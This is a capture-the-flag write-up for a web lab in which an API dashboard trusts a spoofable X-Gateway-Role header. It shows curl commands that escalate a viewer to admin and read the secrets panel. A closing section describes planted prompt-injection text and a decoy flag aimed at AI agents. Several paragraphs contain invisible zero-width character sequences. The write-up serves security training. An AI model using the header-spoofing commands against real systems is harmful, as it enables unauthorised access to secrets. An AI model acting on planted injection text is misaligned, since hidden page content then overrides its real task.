Lab 210 — RouteMesh — Broken Auth via Trusted Gateway Headers

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: api_documentation_enumeration, decoy_flag_avoidance, internal_gateway_header_spoofing, privilege_escalation_via_trusted_header

Summary

Task: Express.js API gateway dashboard behind nginx trusts X-Gateway-Role header for authorization without stripping it from external requests. Solution: Inject X-Gateway-Role: admin header to escalate from viewer to admin and access the secrets panel containing the flag.

Lab 210 — RouteMesh — Broken Auth via Trusted Gateway Headers — HackAdvisor

Description

RouteMesh is an API gateway management dashboard built by MeshFlow Technologies. It provides teams with centralized control over their service routing, traffic policies, and upstream configurations. The platform features role-based access control with viewer and admin tiers. The dashboard shows live traffic metrics, service health, route configurations, and internal API documentation. Your goal is to find a way to escalate your privileges and access the admin secrets panel to retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An API gateway management dashboard with role-based access control (viewer/admin). The application trusts the X-Gateway-Role HTTP header for authorization decisions, but the edge proxy (nginx) does not strip this header from external requests, allowing privilege escalation via header injection.

Analysis

Application Architecture

• Frontend proxy: nginx/1.25.5 (confirmed via Server header)
• Backend: Node.js/Express (confirmed via X-Powered-By: Express)
• Authentication: Session-based via connect.sid cookie
• Authorization: Role-based — viewer and admin tiers ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

After logging in with user@test.com / password123, the dashboard sidebar shows:

• User identity: "Alex Chen" with viewer role
• A "Secrets" link pointing to /admin/secrets marked as restricted
• Accessing /admin/secrets directly returns HTTP 403: "Administrator privileges required"

API Documentation Discovery

The /docs/api endpoint contains a "Gateway Headers" section documenting internal headers used for service-to-service authorization:

The documentation explicitly states: "For requests originating from the internal network (RFC1918 address ranges), the gateway preserves existing internal headers to support service-to-service authorization flows. External requests should have these headers stripped by the edge proxy."

The Vulnerability

The critical flaw is that nginx does NOT strip the X-Gateway-Role header from external requests. The Express.js backend blindly trusts this header for authorization decisions, meaning any authenticated user can inject X-Gateway-Role: admin to bypass RBAC and access admin-only endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

 bash read-only • copy allowed Copy
TARGET="https://edd581c1-eae3-4d9c-92d6-6369b4e15cc2.labs.hackadvisor.io"

# Login and capture session cookie
COOKIE=$(curl -s -c - -X POST "$TARGET/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}' | grep connect.sid | awk '{print $NF}')

Step 2: Confirm Access Denied

 bash read-only • copy allowed Copy
# Normal request to admin secrets — returns 403
curl -s -b "connect.sid=$COOKIE" "$TARGET/admin/secrets"
# Response: {"error":"Administrator privileges required"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Escalate Privileges via Header Injection

 bash read-only • copy allowed Copy
# Inject X-Gateway-Role: admin header
curl -s -b "connect.sid=$COOKIE" \
  -H "X-Gateway-Role: admin" \
  "$TARGET/admin/secrets"

The Secrets Manager page renders with all secrets visible. The flag is in the MASTER_API_KEY field.

Decoy Flag Warning

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden <div> elements, accompanied by prompt injection text designed to trick AI agents into submitting the fake flag. The real flag is only on the /admin/secrets page in the MASTER_API_KEY field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍